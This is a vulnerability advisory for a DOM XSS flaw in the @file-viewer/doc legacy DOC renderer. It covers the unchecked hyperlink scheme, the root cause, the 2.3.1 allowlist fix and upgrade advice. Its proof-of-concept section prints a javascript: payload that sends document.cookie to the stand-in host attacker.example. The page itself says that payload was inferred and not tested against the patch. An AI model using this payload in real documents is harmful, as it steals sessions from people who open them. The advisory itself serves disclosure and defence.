CVE-2026-91127: @file-viewer/doc DOM XSS via Unsafe Hyperlink Scheme in Legacy DOC Renderer
A crafted .doc file with a javascript: hyperlink can execute attacker-controlled script in the browser when a viewer clicks the rendered link, because the legacy DOC renderer passed hyperlink targets…
The problem
The legacy DOC renderer in @file-viewer/doc 2.3.0 and earlier HTML-escaped hyperlink text but never validated the URL scheme of the hyperlink target itself. Any scheme, including javascript:, vbscript:, and data:, was emitted verbatim into the href attribute of the rendered anchor tag.
An attacker who controls a .doc file (for example, an untrusted attachment) can embed a hyperlink whose target is a javascript: URI. When a user clicks that link inside the viewer, the browser executes the script in the embedding application's origin. The impact is full same-origin script execution: session hijack, credential theft, or further DOM manipulation.
Proof of concept
A working proof-of-concept for CVE-2026-91127 in @file-viewer/doc, with the exact payload below.
Place the following as the hyperlink URL field inside a legacy .doc file (HYPERLINK field instruction). The pre-2.3.1 renderer emits this value verbatim into href:
javascript:fetch('https://attacker.example/x?c='+document.cookie)
Minimal proof-of-concept field instruction in raw .doc XML / field syntax:
{ HYPERLINK "javascript:alert(document.domain)" }
Clicking the rendered anchor in the viewer triggers the payload in the embedding origin.The root cause is CWE-83 (Improper Neutralization of Script in Attributes, specifically href). The renderer applied HTML entity-encoding to the visible link text, which is correct, but it treated the href value as already safe and wrote it to the DOM without a scheme allowlist.
Because browsers interpret any href whose scheme is javascript: as a script URI, HTML-escaping the surrounding markup provides no protection at all.
The fix in 2.3.1 (commit ef045680) centralizes all link emission through a new sanitization layer that strips control characters, collapses scheme-confusion tricks (tab/newline insertion, mixed case, URL-encoding), and then compares the normalized scheme against an explicit allowlist: http, https, mailto, tel, relative paths, and internal bookmark anchors (#...).
Everything else, including javascript:, vbscript:, and data:, is either blocked outright or replaced with a safe no-op. Mount-boundary sanitization is added as defense in depth. The payload above is derived directly from reading the advisory description of what the allowlist now blocks, because the patch commit diff is not yet indexed publicly.
The fix
Upgrade @file-viewer/doc to 2.3.1 or later. Users of the msdoc-viewer compatibility package must upgrade to 0.2.2 or later. No configuration workaround exists for older versions: the scheme check is entirely absent before 2.3.1.
Reported by shashank420.
Related research
- high · 7.2CVE-2026-58263CVE-2026-58263: Jodit Editor Mutation XSS via MathML/style Rawtext Carrier
- high · 8.7CVE-2026-63459CVE-2026-63459: @vendure/dashboard Stored XSS via innerHTML in Admin Dashboard
- high · 8.1CVE-2026-63671CVE-2026-63671: @nuxtjs/mdc SVG xlink:href and iframe data:text/html XSS
- highCVE-2026-88060CVE-2026-88060: @angular/platform-server SSR XSS via Unescaped Template Content Across DocumentFragment Boundaries